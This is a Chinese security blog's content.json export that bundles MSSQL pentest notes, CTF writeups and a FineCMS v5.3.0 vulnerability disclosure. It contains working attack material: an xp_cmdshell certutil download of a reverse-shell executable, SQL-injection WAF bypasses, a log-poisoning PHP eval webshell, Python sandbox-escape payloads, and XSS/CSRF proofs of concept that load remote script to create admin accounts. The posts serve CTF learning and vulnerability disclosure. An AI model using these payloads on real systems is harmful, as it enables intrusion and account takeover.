-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 87 KB
/
content.json
1
[{"title":"SQL Server 划水水","date":"2018-08-23T03:01:56.000Z","path":"2018/08/23/mssql/","text":"在实习的渗透测试项目中,遇到的数据库系统绝大部分是 SQL Server。也算是了解和熟悉 Mssql 的一个重要过程吧。 0x01 基础常用查询12345678910111213-- 查询所有的数据库名SELECT name FROM master..sysdatabases WHERE name NOT IN ( 'master', 'model', 'msdb', 'tempdb', 'northwind','pubs' );-- 获取某数据库的所有表(假设库名为fooDB)-- XType='U':表示所有用户表;-- XType='S':表示所有系统表;SELECT name FROM fooDB..sysobjects Where xtype='U';-- 获取某表所有字段名(假设表名为fooTable)SELECT name FROM SysColumns WHERE id=Object_id('fooTable');-- 延时注入SELECT * FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3'; 常用内置函数123db_name() -- 当前库名user -- 当前用户名suser_name() -- 登陆用户名 like 查询大小写敏感模式1SELECT * FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%'; 举例分析 Chinese_PRC_CS_AI_WS 前半部份:指 UNICODE 字符集,Chinese_PRC_指针对大陆简体字 UNICODE 的排序规则。 _BIN 二进制排序 _CI(CS) 是否区分大小写,CI不区分,CS区分 _AI(AS) 是否区分重音,AI不区分,AS区分 _KI(KS) 是否区分假名类型,KI不区分,KS区分 _WI(WS) 是否区分宽度,WI不区分,WS区分 实现 limit m,n查询结果中第 7 条到第 9 条记录,如 MySql 中的 limit 7,3 1234select top 3 id from tablenamewhere id not in (select top 6 id from tablename) 0x02 关于xp_cmdshell123456789101112-- 开启xp_cmdshell存储过程EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 关闭只需将开启语句的第二个1改成0再执行即可-- 运行命令exec master..xp_cmdshell \"whoami\";exec master..xp_cmdshell \"ping 127.0.0.1 -n 5 > nul\";exec master..xp_cmdshell \"certutil -urlcache -split -f http://IP/re_shell.exe D:\\re_shell.exe\"; 彻底防御xp_cmdshell方法:修复sql注入漏洞、删除 xplog70.dll 组件 0x03 利用数据类型转换报错注入 and 可用:?key=aa'+and+db_name()>1 and 不可用:?key='%2buser^1 convert 转换类型:?key=a'%2b(convert(int, @@version)) 0x04 Tricksset 绕过 select 过滤1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)-- - 有趣的绕过例子输入单引号时会报错 尝试%23和–+-的注释来判断后端数据库系统类型。语句出错的时候返回200并报错。正确的时候是302。可知为mssql。 服务端对数据进行了拦截和过滤,拒绝处理请求。然而可利用varchar^int来爆出数据。 1?appSysCode='%2buser%5e1--+- 拦截有点厉害。尝试了许多select方式都不行。 1234567?appSysCode=a'%2b(select+'aaa')--+-?appSysCode=a'%2b(select+1)%5e1--+-?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(这里只有a报错)?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+- (这里直接302)?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-?appSysCode=a'%3bSELECT+11--+-?appSysCode=a'%3bexec+xxxxx--+- 不过还是存在规则缺陷的。 1?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+- 可爆出任意数据 1?appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-","tags":[{"name":"sql","slug":"sql","permalink":"K4ngx.github.io/tags/sql/"},{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"}]},{"title":"php在windows中的目录扫描技巧","date":"2018-05-14T16:21:55.000Z","path":"2018/05/15/php_win/","text":"最近的比赛中接触到一个php在windows中的骚姿势。利用<>"这三个字符来进行目录文件的扫描和上传bypass。 具体原文:File Upload and PHP on IIS: >=? and <=* and “= 当然这里不仅仅是说<>",还有一个可以搭配使用的技巧是Windows下的文件和目录的简写。比如 /aaaaaa~1/bbbbbb~1.php 通配符<>"WHATPHP语言在Windows环境下有如下特性: 大于号>相当于通配符问号?。可匹配除点号.外的0个或1个字符 小于号< 相当于通配符星号*。可匹配0个或多个字符,匹配到文件后缀的.字符结束 双引号" 相当于普通的点字符. WHY不做分析了。。有人调试总结好了:PHP源码调试之Windows文件通配符分析 问题的产生的根本原因PHP调用了Windows API里的FindFirstFileExW()/FindFirstFile()方法 该Windows API方法对于这个三个字符做了特别的对待和处理 任何调用该Windows API方法的语言都有可能存在以上这个问题,比如:Python HOW测试时的目录列表 12345.├── index.php├── flag.php└── dddir └── test.php index.php12345<?php highlight_file(__file__); echo \"<br/>\"; @include $_GET['file']; ?> a. 文件名的扫描12http://localhost/?file=f<<http://localhost/?file=f<"php b. 已知文件名对目录名的爆破1http://localhost/?file=d<</test.php c. 文件覆盖上传若上传目录存在名为index.php的文件,在后端未判断文件存在和黑名单验证后缀的缺陷下,则上传ind<.<将覆盖 index.php 的内容。配合windows上传的shell.php:.jpg和shell.php::$DATA食用更佳。 如,先上传个shell.php:.jpg,注意此时上传上去的shell.php内容是空的。 再次上传shel<.<。可成功覆盖原来的shell.php空文件。 Windows下的文件名简写WHAT在Windows下,支持一种简写的规则。当你输入dir /x命令后,就可以看到文件名的简写为 {前6个字符}~1.{后缀前3个字符} ,即所谓的文件命名的8.3格式。 可参考 https://xz.aliyun.com/t/2318#toc-3 HOW测试时的目录列表(index.php 内容没变) 12345.├── index.php└── dddirsxxxxxxxxxx ├── 1.txt └── testmexxxxxxxxxxxxxxxx.phpisnothing 我们可通过一个文件名较短的已知文件如1.txt,并结合上文的通配符特性,来爆出6个字符。 1http://localhost/?file=d<</1.txt 于是我们可利用文件名或目录简写的特点,将url请求写成: 1http://localhost/?file=dddirs~1/t<< 或者你要是闲着蛋疼,也可以继续爆出6位文件名和3位后缀,然后再简写 12http://localhost/?file=dddirs~1/t<.p<http://localhost/?file=dddirs~1/testme~1.php","tags":[{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"}]},{"title":"红帽杯2018_Writeup","date":"2018-05-01T15:24:20.000Z","path":"2018/05/01/Redhat_wp/","text":"对于这次红帽杯的题目。。是真的很想吐槽啊。。 0X01 Not Only Wiresharkwireshark打开数据包,右键追踪TCP流,可发现从第15流开始,HTTP请求的路径和参数变为/sqli/example2.php?name=123。写了个脚本正则按顺序抓下来所有name参数的值。 1234567891011121314import ref = open(\"Not Only Wireshark.pcapng\", \"rb\")c = f.read().decode('utf8','ignore')f.close()x = re.findall(r'example2\\.php\\?name=([0-9A-Za-z]{0,10})', c)[5:]x = '5'+''.join(x)[4:] # 开头的1234替换成5g = open('flag.zip','wb')for i in range(0, len(x), 2): s = chr(int(x[i:i+2], 16)).encode('latin-1') g.write(s)g.close() 然后迎来了第一个吐槽到死的点,zip里面的文件是加密的,密码在哪???找了将近一下午,后来发现HTTP请求中有个GET请求是?id=1128%23。微笑不起来:) 0X02 3Dlight这题我觉得还是挺有意思的,虽然花的时间也不少。(题目源码放在文章最后…知道题目是啥意思后,要做的主要有以下几点: 对str2arr(str)和arr2str(arr)函数进行逆运算。 判断三维数组中哪些点必须‘-2’,哪些只可能‘-1’,只能‘-1’的点或list存入finL集合中 对三维数组进行遍历,遍历过程中判断该点是否‘需要-2’ 对于第二个问题:一个正常的38位flag填充到64位后大概长flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}00000000000000000000000000这样。经过shuffle_flag后长f0a0{0x0x0x0x0x0x0x0x0x0x0x}xxxxxxxxxx0x0x0x0x0x0x0x0x0x0x0x0g0l这样。 因此可以得出,f、l、a、g、{、}在数组中的固定位置和固定取值 123456789s[0] = 'f's[63] = 'l's[2] = 'a's[61] = 'g's[4] = '{' s[27] = '}'arr[0][0] = [0, 1, 1, 0, 0, 1, 1, 0] == [(ord('f') >> g & 1) for g in range(8)]arr[7][7] = [0, 0, 1, 1, 0, 1, 1, 0]... 同时也可以得出,所有为x的字符所在的index他的ascii值范围必须是32<ord({x})<127。 12bin(127)[2:].zfill(8)[::-1] == '11111110'# 反转后下标7的位置固定为0,因此只能-1,不能-2 对于第三个问题: 在遍历中,对<1的值,直接return 对==1的值,判断周围的6个方向是否有且仅有一个方向值>=2,如果有,那个方向的点就unlight处理 对>=2的值,判断该点能否unlight-2。判断主要是如下办法:周围6个方向>=2的值的点的个数是否比我这个点的值还小。(通俗点说就是即使你们6个方向都给我1,我扣掉6还有剩,那就代表我肯定要-2) 但是存在一个问题:如何判断周围6个点有给1可能的个数?方法:那个方向的点存在,并且值>=2。同时,那个点满足“可以-2”,即那个点不在finL集合中。 解密代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106# _*_ coding: utf-8 _*_# python 2.xdef unstr2arr(arr): s = '' for i in arr: for j in i: tmp = 0 for x in j[::-1]: tmp = (tmp << 1) + x s += chr(tmp) return sdef unarr2str(s): arr = [[[ord(s[i*64+j*8+k]) for k in range(8)] for j in range(8)] for i in range(8)] return arrdef check(x, y, z): if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7: return False return True# arr[i][j][k]-2,周围的六个方向-1。# 对-2的点。将result对应位置赋值为1def unlight(i, j, k): result[i][j][k] = 1 arr[i][j][k] -= 2 for a, b, c in L: if check(i + a, j + b, k + c): arr[i + a][j + b][k + c] -= 1def decrypt(i, j, k): count = 0 tt = [] if arr[i][j][k] < 1: return elif arr[i][j][k] == 1: for a, b, c in L: if check(i + a, j + b, k + c) and arr[i + a][j + b][k + c] >= 2: if not tt: tt = [i + a, j + b, k + c] else: return if tt: unlight(tt[0], tt[1], tt[2]) else: for a, b, c in L: if check(i + a, j + b, k + c) and arr[i + a][j + b][k + c] >= 2 and (i + a, j + b) not in finL and (i + a, j + b, k + c) not in finL: count += 1 if arr[i][j][k] - count > 0: global onchange onchange = True unlight(i, j, k)iList = []# flag: 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}00000000000000000000000000'fake = r'f0a0{0x0x0x0x0x0x0x0x0x0x0x}xxxxxxxxxx0x0x0x0x0x0x0x0x0x0x0x0g0l'for i in range(64): if fake[i] != '0': iList.append(i)d = {0 : 'f', 63 : 'l', 2 : 'a', 61 : 'g', 4 : '{', 27 : '}'} s='0203040102040502020201020204050403030000030406030504020304040604040603040605060203050506050505020403030103050502040503020304030304040303020504020505030302020503040303020305050301040304040506050205030305060603030607050607070303040303030605030404040102030204040302040405040006040305040402030405030304060301020103020505040303040301040703010406040507070201040305040707020103050505050503030302020203060402020302040606040206050504070702010504050405080502040303040507040105040403060703000404040406070201020405020406030203040302020605010302010206070201060502010607020005040203050704010203020305060401030201020407040202040302060704030203040305060201060606040305040206040302050703000403010306070201020202030706020102020204050503020404010103060603050505060607060504040404070602010506070501030303040505030206050303010603040706040002050505070401010305050706050204030302020607020505060403050605040505050405030102050604020303030304060201060503020405020106070402040602030505020205070504050501050504020205060203030302010507040202040303050402's = s.decode('hex')arr = unarr2str(s)result = [[[0 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]L =[[0, 0, 1], [0, 0, -1], [0, 1, 0], [0, -1, 0], [1, 0, 0], [-1, 0, 0]]finL = set() # 存放只能-1不能-2的点和list,如点arr[m][n][7]和arr[0][0]for j in iList: n = j % 8 m = (j - n) // 8 finL.add((m, n, 7))# 对f、l、a、g、{、}这6个字符的二进制中为1的位置,先进行unlight处理(中心-2.周围-1)for k in d: L2 = [(ord(d[k]) >> g & 1) for g in range(8)] n = k % 8 m = (k - n) // 8 finL.add((m, n)) for i in range(8): if L2[i] == 1: unlight(m, n, i)while True: onchange = False for i in range(8): for j in range(8): for k in range(8): decrypt(i, j, k) if not onchange: break#for i in range(8):# print(result[i])#print('\\n-----------------------------------\\n')#for i in range(8):# print(arr[i])flag = ''ss = unstr2arr(result)for i in range(32): flag += ss[i*2]+ss[-1-i*2]print(flag) 0X03 shopping log提一下,主要是太想吐槽了。 提示Site is tmvb.com,玩了老半天,google了一波,whois查询了一波,爆破了子域名,Host也试着改成了Host: tmvb.com。后来才发现要加上www,excuse me?? 改Referer很正常。 提示Japan sales only,试了改了Accept-Language: ja;q=0.9,也试过了XFF头为日本IP。都不行!!后来队友突然可以了,才发现要XFF头和language同时改!并且q=0.9要删去!excuse me?? 终于有正常页面了。emm..爆破?? 告辞! 0x04 biubiubiu进去就是一波文件包含!试了下php://filter不管用,猜测应该是被过滤了。提示了users.sql感觉没是用。然后就读了一波配置文件?page=/etc/nginx/nginx.conf爽歪歪。 123456### Logging Settings##access_log /var/log/nginx/access.log;error_log /var/log/nginx/error.log; 看到了日志文件路径就想到了包含日志文件写入php代码。反手一个php一句话?page=<?php @eval($_POST['key']);?>,下一步就是菜刀了。看到了数据库的帐号密码,flag就在数据库里了。conn.php1234567891011<?php$db_host = 'mysql';$db_name = 'user_admin';$db_user = 'Dog';$db_pwd = '';$conn = mysqli_connect($db_host, $db_user, $db_pwd, $db_name);if(!$conn){ die(mysqli_connect_error());} 挂下预期解:《记一次利用gopher的内网mysql盲注》 0X05 附录:3Dlight题目源码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586import randomimport signaldef str2arr(str): return [[[(ord(str[i * 8 + j]) >> k & 1) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]def arr2str(arr): ret = '' for i in xrange(8): for j in xrange(8): for k in xrange(8): ret += chr(arr[i][j][k]) return retdef check(x, y, z): if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7: return False return Truedef light(arr, i, j, k, x, y, z, power): if check(i + x, j + y, k + z): arr[i + x][j + y][k + z] += power if x != 0 and check(i - x, j + y, k + z): arr[i - x][j + y][k + z] += power if y != 0 and check(i + x, j - y, k + z): arr[i + x][j - y][k + z] += power if z != 0 and check(i + x, j + y, k - z): arr[i + x][j + y][k - z] += power if x != 0 and y != 0 and check(i - x, j - y, k + z): arr[i - x][j - y][k + z] += power if x != 0 and z != 0 and check(i - x, j + y, k - z): arr[i - x][j + y][k - z] += power if y != 0 and z != 0 and check(i + x, j - y, k - z): arr[i + x][j - y][k - z] += power if x != 0 and y != 0 and z != 0 and check(i - x, j - y, k - z): arr[i - x][j - y][k - z] += powerdef encrypt(flag, power): ret = [[[0 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)] lights = str2arr(flag) for i in range(8): for j in range(8): for k in range(8): if lights[i][j][k] == 1: for x in range(power): for y in range(power - x): for z in range(power - x - y): light(ret, i, j, k, x, y, z, power - x - y - z) return arr2str(ret)def welcom(): signal.alarm(5) print r\"\"\" _____ ____ _ ___ ____ _ _ _____ |___ / | _ \\ | | |_ _| / ___| | | | | |_ _| |_ \\ | | | | | | | | | | _ | |_| | | | ___) | | |_| | | |___ | | | |_| | | _ | | | |____/ |____/ |_____| |___| \\____| |_| |_| |_| We make a 3d scene model with a lot of lights. They can provide lighting for the surrounding space.For exmaple, the power of lights is p, one of lights is l(x, y, z) and one position is s(x', y', z').So, the distance between l and s is d = abs(x - x') + abs(y - y') + abs(z - z'), and l can provide for s with | p - d, p > dlighting = | | 0 , p <= dNow, we transform the flag padded randomly to positions of lights, and you may get the flag ciphertext. Have fun!\"\"\"def main(): welcom() flag = open('./flag', 'r').read() assert(len(flag) == 38) for _ in range(64 - 38): flag += chr(random.randint(0, 255)) shuffle_flag = ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32)) power = 2 assert(power > 1) assert(power < 6) cipher = encrypt(shuffle_flag, power) print 'Light power is : %d' % power print 'Your flag ciphertext is : %s' % cipher.encode('hex')if __name__ == '__main__': main()","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"DDCTF2018_部分Web_wp","date":"2018-05-01T09:29:28.000Z","path":"2018/05/01/ddctf/","text":"只做出了第一题,然后就卡在第二题的Java了。。蛋疼。。闯关式的比赛。。也挺蛋疼。看不到后面的题目。。题目开放一年。参考了大佬的writeup,复现了一下其中三题Web。 https://clannad.me/ddctf.md.htmlhttp://sec2hack.com/ctf/ddctf-2018-web-writeup.html 0x01 数据库的秘密常规sql注入。修改XFF头进入页面,有一个hidden字段author。正常搜索了几波,发现请求时会带上GET参数sig和time。查看了下JS代码可知,time是单纯的秒级时间戳,sig是请求内容拼接上变量key之后sha1的哈希值。(key在HTML源码里) 利用flask转发HTTP数据包。 12345678910111213141516from flask import Flask, requestimport requests, time, hashlibapp = Flask(__name__)@app.route(\"/\",methods=['POST'])def hello(): a = request.form.get('author') key = \"adrefkfweodfsdpiru\" t = int(time.time()) sig = hashlib.sha1(\"id=title=author={}date=time={}\".format(a, t) + key).hexdigest() urlappend = \"sig={}&time={}\".format(sig, t) r = requests.post('http://116.85.43.88:8080/ZODGIRYTDIETBCSI/dfe3ia/index.php?'+ urlappend, data={'id':'', 'title':'','date':'','author':a,'button':'search'}, headers={'X-Forwarded-For':'123.232.23.245'}) return r.contentif __name__ =='__main__': app.run(host='0.0.0.0', port=8000) 然后就丢sqlmap跑吧,注意这里or和and是被拦了,要用||和&&绕一下,使用--tamper=symboliclogical。 1sqlmap -r a.txt --level=3 --risk=3 --tamper=symboliclogical 0x02 注入的奥妙注释中提示了BIG5编码。选了后一个字节为5C的么字,可以宽字节注入。由于<>会被replace成空,并且对关键字的过滤并不是循环过滤。因此可以双写绕过或者在关键字中插入<>。 1-1么'uni<>on%20select%20id,pattern,action%20from%20route_rules%23 id pattern action 1 get*/ u/well/getmessage/ 12 get*/ u/justtry/self/ 13 post*/ u/justtry/try 15 static/bootstrap/css/backup.css static/bootstrap/css/backup.zip 访问/static/bootstrap/css/backup.css即可拿到源码。 在/Helper/Test.php的getflag()方法中输出了flag。$this->fl->get($user)可知$this->fl为Helper/Flag.php中Flag类的一个实例。代码审计时可发现在/Controller/JJusttry.php的try($serialize)方法中存在反序列化漏洞。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354<?php// Test.phpclass Test{ public $user_uuid; public $fl; public function getflag($m = 'ctfuser', $u = 'default') { //TODO: check username $user=array( 'name' => $m, 'id' => $u ); //懒了直接输出给你们了 echo 'DDCTF{'.$this->fl->get($user).'}'; }}// Flag.phpclass Flag{ public $sql; // public function __construct() { $this->sql=new SQL(); } // public function get($user) { $tmp=$this->sql->FlagGet($user); if ($tmp['status']===1) { return $this->sql->FlagGet($user)['flag']; } }}// SQL.phpclass SQL{ public $dbc; public $pdo;}// Justtry.phppublic function try($serialize){ unserialize(urldecode($serialize), [\"allowed_classes\" => [\"Index\\Helper\\Flag\", \"Index\\Helper\\SQL\",\"Index\\Helper\\Test\"]]);}?> 通过构造字符串,根据路由规则POST数据到justtry/try,反序列化后可构建一个Test实例。即可输出flag。 123456789101112131415161718192021222324252627<?phpnamespace Index\\Helper;class Test { public $user_uuid; public $fl;}class Flag { public $sql; public function __construct() { $this->sql=new SQL(); }}class SQL { public $dbc; public $pdo;}$a = new Test();$a->user_uuid = '79c78cb9-cdc1-4b05-a82c-a93face2ce19';$a->fl = new Flag();echo urlencode(serialize($a));?> namespace 指定命名空间 在命名空间字符串过长时,使用use可以相应的缩短命名空间。 https://www.cnblogs.com/drunkhero/p/namespace.html 0x03 我的博客rand()和str_shuffle()的预测。在Linux中,PHP的rand()函数是调用glibc库中的rand函数,是有缺点的,可预测。详情看这里->Cracking PHP rand()。 1rand[i] = (rand[i-3] + rand[i-31]) & 0x7fffffff 当取的随机数大于31位时,后面的随机数可通过上述式子推出,预测值有时会比实际值少1 由于str_shuffle()依赖 rand() 进行字符串随机操作。因此可通过预测rand()的值来预测出admin的code。而每一次的rand值可以从注册表单的csrf字段中获得。PHP的str_shuffle()可参考 PHP 5.6.35 string.c L5394 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455import requestsimport rePHP_RAND_MAX = 0x7fffffffrand_list = []rand_count = 35url = \"http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/register.php\"s = requests.session()def get_rand_list(): for _ in range(rand_count): c = s.get(url) rand_list.append(int(re.findall('id=\"csrf\" value=\"(\\d+)\"',c.text)[0]))def php_rand(): global rand_count xrand = (rand_list[rand_count - 3] + rand_list[rand_count - 31]) & PHP_RAND_MAX rand_list.append(xrand) rand_count += 1 return xrand# https://github.com/Sjord/crack-ezchatter-token/blob/master/crackseed.cdef php_rand_range(n, nmin, nmax, tmax): return int(nmin + (nmax - nmin + 1.0) * (n / (tmax + 1.0)))def php_str_shuffle(s): n_left = len(s) s = list(s) if n_left <= 1: return n_left -= 1 while n_left > 0: rnd_idx = php_rand(); rnd_idx = php_rand_range(rnd_idx, 0, n_left, PHP_RAND_MAX); if rnd_idx != n_left: s[n_left], s[rnd_idx] = s[rnd_idx], s[n_left]; n_left -= 1 return ''.join(s)if __name__ == \"__main__\": get_rand_list() csrf = rand_list[rand_count-1] code = \"admin###\" + php_str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[:32] username = code[8:13] data = { 'csrf':csrf, 'username':username, 'password':'123', 'code': code } con = s.post(url, data=data) print(con.text) print('---------------------') print('username: ' + username + '\\npassword: 123') print('code: ' + code) 运行脚本后可得到注册后admin身份的帐号密码。登录后,在index.php的源码中可发现存在sprintf注入漏洞。对于php中sprintf格式化字符串漏洞可见 https://paper.seebug.org/386/ 简单的说就是sprintf中%1$\\'会将\\吃掉,导致'的逃逸。%后表示第几个参数,$表示参数类型。 还有一个sprintf漏洞的利用方式:%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。 12345678<?php$input1 = '%1$c) OR 1=1 #';$input2 = 39;$sql = \"SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s\";$sql = sprintf($sql, $input2);echo $sql;?> 在这题中,--prefix加个前缀丢进sqlmap跑就好了。 1sqlmap -u 'http://116.85.39.110:5032/2096b322e99ffc1a59891b972c0fa612/index.php?id=1&title=a' -p title --cookie=\"PHPSESSID=65a15a2c6c93df292e2f2666e2aa31c8\" --prefix=\"%1$'\" 话说。。看了大佬的writeup才知道sqlmap有前缀--prefix和后缀--suffix这种东西。","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"国赛2018_Run_python继承链bypass","date":"2018-04-30T07:17:24.000Z","path":"2018/04/30/ciscn2018/","text":"python继承链基础 __class__ 返回一个实例所属的类 __base__、__bases__ 返回一个类所直接继承的类 __subclasses__() 获取一个类的子类list __builtins__ 内置模块,包含了list、print等函数 __getattribute__() 通过传入字符串来进行方法的调用 __globals__ 返回一个当前空间下能使用的模块,方法和变量的字典。 1234567891011class test: def f(): passprint test.f # <unbound method test.f># while in python3 will print...# <function test.f at 0x000001DB75310048>print test.f.__globals__# {'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'test': <class __main__.test at 0xb72544ac>, '__doc__': None, '__package__': None} Run一道python2环境的沙箱逃逸。过滤了好多东西,os、ls、system等。。我们可通过python的继承,来找到可用的os模块 12345678910111213# _*_ coding: utf-8 _*_search = 'os'num = -1for i in ().__class__.__base__.__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass # (<class 'site._Printer'>, 71)# (<class 'site.Quitter'>, 76) 1234# payloads = ().__class__.__base__.__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__getattribute__('s'+'ystem')# 拿到了os.system函数,可执行任意命令s('l'+'s /home/ctf') py2和py3利用__builtins__1__builtins__.__getattribute__('ev'+'al')('__import__(\"os\").system(\"whoami\")') 参考链接他已经讲得很清楚了->用python继承链搞事情 BTW:这次国赛的Web题。。一道空值,一道结合pwn难爆,一道直接难爆= =","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"},{"name":"python","slug":"python","permalink":"K4ngx.github.io/tags/python/"}]},{"title":"StarCTF2018_SimpleWeb_writeup","date":"2018-04-25T15:43:25.000Z","path":"2018/04/25/starctf2018-SimpleWeb-wp/","text":"如今的Web一点都不纯了:(多多少少都参杂了一点re和pwn…然而只会做这Web第一题:(题目给了nodejs的源码。 1234567891011121314151617181920212223242526272829303132333435363738var net = require('net');flag='fake_flag';var server = net.createServer(function(socket) { socket.on('data', (data) => { //m = data.toString().replace(/[\\n\\r]*$/, ''); ok = true; arr = data.toString().split(' '); arr = arr.map(Number); if (arr.length != 5) ok = false; arr1 = arr.slice(0); arr1.sort(); for (var i=0; i<4; i++) if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127) ok = false; arr2 = [] for (var i=0; i<4; i++) arr2.push(arr1[i] + arr1[i+1]); val = 0; for (var i=0; i<4; i++) val = val * 0x100 + arr2[i]; if (val != 0x23332333) ok = false; if (ok) socket.write(flag+'\\n'); else socket.write('nope\\n'); }); //socket.write('Echo server\\r\\n'); //socket.pipe(socket);});HOST = '0.0.0.0'PORT = 23333server.listen(PORT, HOST); 拿到flag的条件是使val最后等于0x23332333。因此我们可以先将0x23332333对0x100循环取余得到arr2。123456789101112var val = 0x23332333var arr2 = []for (var i=0; i<4; i++){ x = val % 0x100 arr2.unshift(x) val = (val - x) / 0x100}console.log(arr2)// arr2 = [35, 51, 35, 51] 注意到源码中的arr1.sort()。在js中,sort方法在排序时是按照ascii码大小来排序的。因此会出现如下怪异的情况:12console.log([3, 25, 100, 6].sort())// [ 100, 25, 3, 6 ] 于是可爆破出满足sort()排序的arr11234567891011121314151617var arr2 = [35, 51, 35, 51]for (var a=0; a<=35; a++){ b = 35 - a c = 51 - b d = 35 - c e = 51 - d if (a==b || b==c || c==d || d==e) continue var arr = [a, b, c, d, e] var arr1 = arr.slice(0) if (arr.sort().toString() == arr1.toString()) { console.log(arr) break } } 得到结果为[ 15, 20, 31, 4, 47 ]","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"FineCMS v5.3.0 XSS/CSRF","date":"2018-03-21T15:00:00.000Z","path":"2018/03/21/finecms/","text":"0x01 版本类型源码信息:FineCMS v5.3.0 bulid 20180206 问题文件:/finecms/dayrui/libraries/Template.php 漏洞类型:反射型XSS、CSRF 0x02 漏洞详情FineCMS后台的管理员管理和会员管理的搜索功能,未进行字符编码与过滤而导致反射型XSS。 在搜索框输入"><svg/onload=alert(1)//,点击搜索并deBug跟踪数据。 可发现POST参数keyword传进了/finecms/dayrui/controllers/Root.php中的index()方法,并通过$this->input->post('keyword', TRUE)来获取数值(进行XSS、不可见字符和基于黑名单等等的过滤._.)。 然后送进了$this->member_model->get_admin_all()方法进行数据库查询操作(没有可乘之机)。接着通过$this->template-> display()调用输出模板。 跟踪到输出模板函数/finecms/dayrui/libraries/Template.php中80行的display()方法。 在93行中通过load_view_file方法加载了模板缓存文件,并将缓存文件用include包含。(执行了文件中的php语句) 在缓存文件/cache/templates/finecms.dayrui.templates.admin_index.html.cache.php的33行可以看到,直接执行了echo语句,而$_POST['keyword']却是可控的,没有经过任何的过滤和编码。从而造成了反射型XSS。 还有一处原理差不多的反射型XSS在会员管理的搜索框处。 点击搜索,debug跟踪数据,发现POST发送的keyword在/finecms/dayrui/controllers/admin/Member.php的70行被赋值到变量$param中。(跟踪函数$this->member_model->limit_page()可知道最终是在/finecms/dayrui/models/Member_model.php中_where()方法的694行被赋值的。)之后没有再对$param进行编码和过滤便执行了$this->template->display('member_index.html') 同样是在在输出模板函数/finecms/dayrui/libraries/Template.php中的display()方法。在93行中将缓存文件用include包含。(执行了文件中的php语句) 跟踪查看缓存文件/cache/templates/finecms.dayrui.templates.member_index.html.cache.php,可以看到,在43行直接对$param['keyword']进行了输出,从导致了另一个反射型XSS。 BTW:添加后台管理员帐号请求并没有附带token值,因此可以直接利用CSRF来添加一个管理员帐号。 0x03 漏洞POC0x01 利用管理员管理处的XSS,构造表单,当管理员访问了如下html,则会在后台添加一个管理员帐号test:123456 123456789<!DOCTYPE html><html> <form action=\"http://FineCMS的域名或IP/admin.php?c=root&m=index\" method=\"post\" name=\"myform\"> <input type=\"text\" name=\"keyword\" value='\"><script src=http://115.159.209.191/add.js></script>'> <input type=\"submit\" value=\"submit\"> </form> <script>document.myform.submit();</script></html> 0x02 利用会员管理处的XSS。(创建管理员帐号时不能有相同名称或邮箱) 12345678910<!DOCTYPE html><html> <form action=\"http://FineCMS的域名或IP/admin.php?c=membe&m=index\" method=\"post\" name=\"myform\"> <input type=\"text\" name=\"data[field]\" value='username'> <input type=\"text\" name=\"data[keyword]\" value='\"><script src=http://115.159.209.191/add.js></script>'> <input type=\"submit\" value=\"submit\"> </form> <script>document.myform.submit();</script></html> add.js12345678function add(){ var xmlhttp1=new XMLHttpRequest(); xmlhttp1.open(\"POST\",\"/admin.php?c=root&m=add\",true); xmlhttp1.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\"); xmlhttp1.send(\"data[username]=test&data[password]=123456&data[email][email protected]&data[phone]=123\");};add(); 0x03 直接利用CSRF,当管理员访问如下html时,将创建一个管理员帐号hacker:123456 12345678910111213<!DOCTYPE html><html> <form action=\"http://FineCMS的域名或IP/admin.php?c=root&m=add\" method=\"post\" name=\"myform\"> <input type=\"text\" name=\"data[username]\" value='hacker'> <input type=\"text\" name=\"data[password]\" value='123456'> <input type=\"text\" name=\"data[email]\" value='[email protected]'> <input type=\"text\" name=\"data[phone]\" value='1234'> <input type=\"submit\" value=\"submit\"> </form> <script> document.myform.submit(); </script></html> 